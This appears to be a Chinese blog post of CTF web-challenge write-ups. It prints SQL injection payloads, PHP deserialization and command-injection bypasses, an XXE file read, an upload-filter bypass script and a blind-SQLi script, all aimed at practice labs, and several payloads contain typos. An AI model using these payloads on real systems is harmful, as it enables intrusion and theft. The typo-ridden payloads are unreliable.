WEB刷题-md


title: WEB刷题解析
date: 2023-12-12 21:39:15
categories: WEB
tags: WEB

[HZNUCTF 2023 preliminary]ppppop

打开页面没有显示东西打开f12查看网络有一个cookie:user尝试将字符串进行base64解密发现是一个验证已经显示是isadmin那么在让他变成1就行,然后输入header里面去查看到源码就是一个反序列化,我们要注意的是strrev和python的[::-1]一样将字符串反转

<?php
class A {
    public $className="B";
    public $funcName="system";
    public $args="env";

    public function __destruct() {
        $class = new $this->className;
        $funcName = $this->funcName;
        $class->$funcName($this->args);
    }
}

class B {
    public function __call($func, $arg) {
        $func($arg[0]);
    }
}
$a=new A();
echo strrev(serialize($a));
[HZNUCTF 2023 preliminary]guessguessguess

很简单直接使用python的[::-1]即可得到strrev反过来的,
贴上源码这个题我打不开环境

<?php
  $userArr = array("username: admin<br>password: admin","username: docker<br>password: docker", "username: mxx307<br>password: mxxxxxxx3333000777", "username: FLAG_IN_HERE<br>password: 不给你看");

$cmd = strrev($_POST['cmd']);
if($cmd != 'hint' && $cmd != 'phpinfo'){
  echo "your SQL: SELECT * FROM users WHERE id=$cmd";
  echo "<br>";
}
if($cmd == "phpinfo") {
  eval('phpinfo();');
} else if(preg_match('/127.0.0.1/',$cmd) && !preg_match('/;|&/',$cmd )) {
  system('ping '.$cmd);
} else if($cmd == "hint") {
  echo '可爱的CTFer哟,你掉的是这个金"命令执行",还是这个银"XSS"还是这个普通的"SQL注入"呢?';
}else if(preg_match('/^\d$/',$cmd, $matches)) {
  if($matches[0] <= 4 && $matches[0] >= 1){
    echo $userArr[$matches[0] - 1];
  } else {
    echo "no user";
  }
}else {
  echo "猜猜猜";
}
[FSCTF 2023]webshell是啥捏

很简单的一个题直接把

<?php  
highlight_file(__FILE__);  
$😀="a";  
$😁="b";  
$😂="c";  
$🤣="d";  
$😃="e";  
$😄="f";  
$😅="g";  
$😆="h";  
$😉="i";  
$😊="j";  
$😋="k";  
$😎="l";  
$😍="m";  
$😘="n";  
$😗="o";  
$😙="p";  
$😚="q";  
$🙂="r";  
$🤗="s";  
$🤩="t";  
$🤔="u";  
$🤨="v";  
$😐="w";  
$😑="x";  
$😶="y";  
$🙄="z";  
  
$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;  
  
if (isset($_GET['👽'])) {  
    eval($😭($_GET['👽']));  
};  
  
?>

拿去解析一下就能知道这个😭是什么意思然后直接使用👽=cat /flag.txt即可

[湖湘杯 2021 final]Penetratable

这个题对我来说真的有难度,这个题的步骤是这样的,一开始进行目录扫描,扫到了phpinfo.php和一些没有用的,看源码static可以看到很多js代码,这些js代码里面有一个req可以查看到账号信息和调用函数,知道了admin账号能够修改账号密码,root用户能够下载文件,user和app用户什么都干不了,那我们首先的目标是是看admin上面有没有突破口了。经过多次尝试可以使用admin"#来创建用户冒牌一下admin账号然后修改admin的账号密码就能登录admin了,然后通过admin来修改root账号的密码name要base64加密,newpass要md5加密old也是md5,然后pass要base64,修改成功后登录root账号查看phpinfo的内容满足pass里面的get然后利用下面那个执行命令,发现catflag没有权限flag文件权限比较高,我们使用find查看一下什么有权限查看到了sed可以使用,即可得到flag如sed ‘p1’ /flag

function updatePass(){
    // let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
    // let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
    // let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
    // let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
    // $.ajax({
    //     url: '/?c=admin&m=updatePass',
    //     type: 'post',
    //     data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
    //     // async:true,
    //     dataType: 'text',
    //     success: function(data){
    //         alertHandle(data);
    //     }
    // });
}
[NSSRound#13 Basic]flask?jwt?

题目告诉的很直白,就是jwt伪造,你使用常规方法直接进行伪造即可把id改为1

python flask_session_cookie_manager3.py encode -c ".eJwlzjEOwyAMBdC7MHewDQSTy0QY-6tdSTNVvXsjdX7L-6QDK85n2t_rikc6Xp72tHmTETEyuJSKqdypOZSUkatgRDMDKDAKK7oP0YYpRnNwc-79VqMhUChXEHNlabNWLTmrqAtvpiiNuumEmnJkJ3Zwdu_pjlxnrP9G0vcHIa0wBg.ZVRcxg.NZTyqvJ1HndRRn26eNYQ0gJryU8"

[GWCTF 2019]枯燥的抽奖

使用

str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2 = 'iiOj12Cfzb'
res = ''

for char in str2:
    index = str1.find(char)
    res += str(index) + ' ' + str(index) + ' ' + '0' + ' ' + str(len(str1) - 1) + ' '

print(res)

得到序列在通过php_rand去爆破种子得到种子在通过他得加密方法就可得到$str

<?php
mt_srand(61046797);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
[FSCTF 2023]细狗2.0

直接使用1;ls可以发现有内容,然后使用ls /不行代表空格不能使用,那么我们使用${IFS}来代替空格,然后在使用cat发现也不行要么使用c\at要么使用nl即可然后就可以利用正则来匹配如/f*

[MoeCTF 2021]Do you know HTTP

使用常规header即可得到flag,注意我得burp不知道为什么发送这种请求只有第一次可以

[NSSCTF 2022 Spring Recruit]babysql

使用常规sql注入发现不行并且提示了给了我们一个说明过滤符号不行,那我们可以尝试一下其他办法比如我这里使用了

-a'/**/union/**/select/**/(select/**/database())'

-a'/**/union/**/select/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='test')'

-a'/**/union/**/select/**/(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag')'

-a'/**/union/**/select/**/(select/**/group_concat(flag)/**/from/**/test.flag)'
[羊城杯 2020]Blackcat

下载音频使用010才能查看到源码,看到源码后可以发现漏洞函数使用

Black-Cat-Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6
&White-cat-monitor[]=1&One-ear=;cat flag.php
[HUBUCTF 2022 新生赛]ezsql

admin账号爆破密码为iamcool即可得到flag或者
整体思路为update注入,常见于修改用户数据的场景
这里注入并不需要单引号,直接拼凑sql语句
结合updata特性,常规操作爆一爆字段,表,列
拿不到admin密码就修改
(flag在description中,为避免重开环境,可在nickname回显)

[HNCTF 2022 WEEK2]easy_unser

考点在于利用初始化函数来绕过

<?php
class body{

    private $want,$todonothing = "";

    public function  __construct($want){
        $About_me = "";
        if($want !== " ") $this->want = $want;
        else $this->want = $this->todonothing;
    }
}
$f = "php://filter/convert.base64-encode/resource=f14g.php";
// 伪协议可以绕过is_file()函数, 并且还不等于f14g.php
$a = new body($f);
$b = serialize($a);
$c = preg_replace("/:2:{/",":3:{",$b);
echo urlencode($c);
?>
[SCTF 2021]loginme
查看结构体里面的使用X-Real-ip来伪造本地ip然后使用查看源码结构题能看出他的id=0,age=一个模块
使用age={{.Password}}可以得到flag
[FSCTF 2023]EZ_eval

使用

<script%0alanguage='php'>system('c\at${IFS}/f*');</script>

过滤了空格和注意他的<?即可绕过
新知识paste可以查看文件

[CSAWQual 2019]Unagi

页面一直在提示这是一个xml上传漏洞并且flag就在/flag那,那直接构造恶意xxe试试

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>  
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
</users>

直接报错不行
那么使用加密试试

 < ? x m l   v e r s i o n = ' 1 . 0 ' ? > 
 
 < ! D O C T Y P E   u s e r s   [ 
 
 < ! E N T I T Y   x x e   S Y S T E M   " f i l e : / / / f l a g "   > ] > 
 
 < u s e r s > 
 
         < u s e r > 
 
                 < u s e r n a m e > b o b < / u s e r n a m e > 
 
                 < p a s s w o r d > p a s s w d 2 < / p a s s w o r d > 
 
                 < n a m e >   B o b < / n a m e > 
 
                 < e m a i l > b o b @ f a k e s i t e . c o m < / e m a i l >     
 
                 < g r o u p > C S A W 2 0 1 9 < / g r o u p > 
 
                 < i n t r o > & x x e ; < / i n t r o > 
 
         < / u s e r > 
 
 < / u s e r s >

直接得到flag

[NSSCTF 2nd]php签到

注意查看代码

<?php  
  
function waf($filename){    $black_list = array("ph", "htaccess", "ini");   
$ext = pathinfo($filename, PATHINFO_EXTENSION);  
    foreach ($black_list as $value) {  
        if (stristr($ext, $value)){  
            return false;  
        }  
    }  
    return true;  
}  
  
if(isset($_FILES['file'])){    $filename = urldecode($_FILES['file']['name']);    $content = file_get_contents($_FILES['file']['tmp_name']);  
    if(waf($filename)){        file_put_contents($filename, $content);  
    } else {  
        echo "Please re-upload";  
    }  
} else{    highlight_file(__FILE__);  
}
import requests

url="http://node5.anna.nssctf.cn:28748/"

file_content = "<?php phpinfo();?>"

file = {'file': ('1.php%2f.', file_content)}

response = requests.post(url, files=file)

print(response.text)

直接使用这个即可上传一个1.php/.上去

[October 2019]Twice SQL Injection

二次注入,注入点在那个注册哪里然后到login那里面实现注入,首先需要

1' union select database()# 
1' union select group_concat(table_name) from information_schema.tables where database()=table_schema# 
1' union select group_concat(column_name) from information_schema.columns where table_name="flag"# 
1' union select group_concat(flag) from flag#
EzHttp

这个题打开后难点在于代理这里你需要使用via学到新知识点,并且在添加server处如果有下划线的情况下需要使用把前面的下划线内容去掉

n00b_Upload

这个题只是过滤了

这个题过滤了php但是我们依旧可以直接上传文件注意内容里面不要有php即可
easy_php

这个题注意下划线使用[替代

[广东强网杯 2021 团队组]love_Pokemon

使用od来得到他的8进制字符串,然后在使用python写一个脚本恢复原本的字符串即可

dump = "0000000 066146 063541 067173 057551 064541 073537 057557 067567 0000020 060537 057551 064556 066537 074151 062565 064542 063556 0000040 064143 067145 057547 064564 067141 064555 064555 005175 0000060"

b=""

octs = [("0o" + n) for n in  dump.split(" ") if n]

hexs = [int(n, 8) for n in octs]

  

result = ""

for n in hexs:

    if (len(hex(n)) > 4):

        swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF)

        result += swapped[2:].zfill(4)

print(hexs)

print(bytes.fromhex(result))
[UUCTF 2022 新生赛]ezsql

这个题就是一个sql注入但是过滤了or并且使用了逆反,导致你每次sql语句必须在逆反一下才行使用

首先构造语句1')union select 1,2,3#然后逆转发现没有回显
那我们构造1')union select 1,2#后可以得到回显并且显示了pass在2那我们直接使用2来构造一个payload首先爆出数据库
1')union select 1,database()#得到数据库UUCTF
在通过information来爆出表,需要注意的点是or被过滤了也代表了from逆转后的morf不能通过,那我们只有使用双写来达到绕过办法
1')union select 1,tabase_name frroon information_schema.tables where table_schema=database()#
之后就得到了表名flag之后我们就要去获取他的字段
1')union select 1,column_name frronn information_schema.columns where column_schema='flag'#
然后就得到了字段为UUCTF之后直接爆字段内容
1')union select 1,UUCTF frroon flag#
然后得到flag
[FSCTF 2023]ez_php1

满足第一个php语法然后再去满足第二个语法,比较难的就是最后一个需要让new class->b=&new class->a

<?php
class Clazz
{
    public $a;
    public $b;
}
$c=new Clazz();
$c->b=&$c->a;
echo serialize($c);
[SWPUCTF 2023 秋季新生赛]If_else

没见过这么好的要求让我们自己来操作他的代码if判断,那就按照sql注入的套路去直接执行命令即可

比如让他的if变成if(1)system('ls');\*就能使用命令
[FSCTF 2023]巴巴托斯!

按照提示输入他的要求后发现没有其他显示在试试/etc/passwd发现能够查看到文件内容,那就很直接的目录查看或者使用php伪协议直接读取flag.php即可

[SWPU 2018]SimplePHP

这个题讲究方法绕过可以利用preg_match的绕过比如回溯超出和%02截断
有坑点就是flag我找半天找不到太离谱了

/bin/cat%20/home/rceservice/flag
[安洵杯 2019]easy_web

这个题考的是md5强绕过以及当很多函数被搬掉后该怎么办
打开就可以看到图片base64以及他的url,这个url也有一串加密经过两次base64和一次hex解密后即可看到文件名,那试试把这个换成index.php查看一下源代码,发现可以把base64全部copy下来进行解密后看到源代码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

这个代码先使用强比较绕过如下

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

然后即可执行命令有两种方法可以执行,如sort和使用\转义可能会好奇那个\不是过滤了反斜杠了吗,对的但是我们传进去的样子是经过转义的这个是无法过滤的

[NCTF 2018]Easy_Audit

数组绕过
$_REQUEST变量覆盖
$_SERVER[‘QUERY_STRING’]特性
注意绕过时的方法即可
$_REQUEST有个特性就是当GET和POST有相同的变量时,匹配POST的变量
$_SERVER[‘QUERY_STRING’]匹配的是原始数据,就是没有url编码过的数据,所以可以使用url编码绕过

<?php  
highlight_file(__FILE__);  
error_reporting(0);  
if($_REQUEST){  
    foreach ($_REQUEST as $key => $value) {  
        if(preg_match('/[a-zA-Z]/i', $value))   die('waf..');  
    }  
}  
  
if($_SERVER){  
    if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING']))  die('waf..');  
}  
  
if(isset($_GET['yulige'])){  
    if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){         //日爆md5!!!!!!        die('waf..');  
    }else{  
        if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){            $getflag = file_get_contents($_GET['flag']);  
        }  
        if(isset($getflag) && $getflag === 'ccc_liubi'){  
            include 'flag.php';  
            echo $flag;  
        }else die('waf..');  
    }  
} 
?>

使用

GET: ?%79%75%6C%69%67%65[]=1&%6E%63%74%66=%6E%63%74%66%69%73%66%75%6E%0a&%66%6C%61%67=data://text/plain,ccc_liubi
POST: yulige=1&nctf=2&flag=1
[HNCTF 2022 Week1]Challenge__rce

这种题老套路,直接使用自增手法即可进行绕过得到flag

<?php  
error_reporting(0);  
if (isset($_GET['hint'])) {    highlight_file(__FILE__);  
}  
if (isset($_POST['rce'])) {    $rce = $_POST['rce'];  
    if (strlen($rce) <= 120) {  
        if (is_string($rce)) {  
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {  
                eval($rce);  
            } else {  
                echo("Are you hack me?");  
            }  
        } else {  
            echo "I want string!";  
        }  
    } else {  
        echo "too long!";  
    }  
}

传入:

rce=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B
使用的get的1和2进行连接的
没有编码之前是
rce=$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
[WUSTCTF 2020]颜值成绩查询

过滤了union和空格,这个题使用大小写绕过即可

0'/**/Union/**/select/**/1,2,3#使用这个可以查看到回显2,3
0'/**/Union/**/select/**/1,2,database()#使用这个可以查看到数据库
0'/**/Union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_tables.schema/**/where/**/table_schema=database()#
0'/**/Union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_columns.schema/**/where/**/column_schema='flag'#
0'/**/Union/**/select/**/1,2,group_concat(flag,value)/**/from/**/flag#

也可以使用布尔盲注如

0'ascii(substr(database(),1,1))=100#
[SWPUCTF 2023 秋季新生赛]RCE-PLUS
<?php  
error_reporting(0);  
highlight_file(__FILE__);  
function strCheck($cmd)  
{  
    if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){  
        return($cmd);  
    }  
    else{  
        die("i hate this");        
      }  
}  
$cmd=$_GET['cmd'];  
strCheck($cmd);  
shell_exec($cmd);  
?>

这个rce非常简单但是需要注意这个shell_exec不会回显就只有使用>符号去重定向这个内容再去访问

[SWPUCTF 2023 秋季新生赛]一键连接!

都使用数组绕过然后在使用一个data://text/plain,他的内容即可

<?php  
highlight_file(__FILE__);  
error_reporting(0);  
$md5_1 = $_GET['md5_1'];  
$md5_2 = $_GET['md5_2'];  
$sha1_1 = $_GET['sha1_1'];  
$sha1_2 = $_GET['sha1_2'];  
$new_player =$_GET['new_player'];  
if ($md5_1 !== $md5_2 && md5($md5_1) === md5($md5_2)) {  
    if ($sha1_1 != $sha1_2 && sha1($sha1_1) === sha1($sha1_2)) {  
        if (file_get_contents($new_player) === "Welcome to NSSCTF!!!") {  
            echo "Congratulations~~~~~~~~~";  
            echo "试试need Antsword<br/>";  
            @eval($_POST['Nss']);  
        }else{  
            echo "可曾听过data协议?";  
        }  
    } else {  
        echo "sha1又如何相等呢";  
    }  
} else {  
    echo "如何让md5值相等呢¿";  
}
[护网杯 2018]easy_tornado

查看flag.txt提供了flag的路径,然后hint提供了加密方法,看url可知道这个题的方法,然后在去error?msg=处来使用命令

[HNCTF 2022 WEEK2]easy_sql

无字符漏洞

0'union/**/select/**/1,2,database()/**/where/**/'1
Here is your want!
ctf

0'union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1
Here is your want!
ctf,ctftraining,ctftraining,ctftraining,mysql 

0'union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1
Here is your want!
ccctttfff,flag,news,users,gtid_slave_pos 

0'union/**/select/**/1,2,group_concat(`1`)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a/**/where/**/'1
Here is your want!
1,NSSCTF{da2750d9-7bb8-4470-9118-ccdfb258d822} 
过滤了 and information_schema 空格

学到一个思路当#和–+被过滤时我们可以使用%00

from urllib import parse

url='http://node2.anna.nssctf.cn:28555/index.php'
payload=f"0'/**/union/**/select/**/1,2,group_concat(`2`)/**/from/**/(select/**/2/**/union/**/(select/**/*/**/from/**/ctftraining.flag))a/**/;{parse.unquote('%00')}"

data={"id":payload}


req=requests.post(url=url,data=data)
print(req.text)
[RoarCTF 2019]Online Proxy

x-forwarded-for的二次注入

import requests
import time
url ="http://node4.buuoj.cn:27074/"

head={
    'X-Forwarded-For':'',
    'Cookie':'8cfaaa71-9c6a-4aec-dc64-124cdeed535a'
}


res = ''
for i in range(1,200):
    print(i)
    left = 31
    right = 127
    mid = left + ((right - left)>>1)
    while left < right:
        #payload = "0' or (ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{}) or '0".format(i,mid)
        #payload  = "0' or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'F4l9_D4t4B45e'),{},1))>{}) or '0".format(i,mid)
        #payload  = "0' or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = 'F4l9_t4b1e'),{},1))>{}) or '0".format(i,mid)
        payload = "0' or (ascii(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),{},1))>{}) or '0".format(i,mid)
        headers = {
                    'Cookie': 'track_uuid=8cfaaa71-9c6a-4aec-dc64-124cdeed535a',
                    'X-Forwarded-For': payload
                    }
        r = requests.post(url = url, headers = headers)

        payload = '111'
        headers = {
                    'Cookie': 'track_uuid=8cfaaa71-9c6a-4aec-dc64-124cdeed535a',
                    'X-Forwarded-For': payload
                    }
        r = requests.post(url = url, headers = headers)

        payload = '111'
        headers = {
                    'Cookie': 'track_uuid=8cfaaa71-9c6a-4aec-dc64-124cdeed535a',
                    'X-Forwarded-For': payload
                    } 
        r = requests.post(url = url, headers = headers)


        if r.status_code == 429:
            print('too fast')
            time.sleep(2)
        if 'Last Ip: 1'  in r.text:
            left = mid + 1
        elif 'Last Ip: 1' not in r.text:
            right = mid 
        mid = left + ((right-left)>>1)
    if mid == 31 or mid == 127:
        break
    res += chr(mid)
    print(str(mid),res)
    time.sleep(1)
  • 37
    点赞
  • 36
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值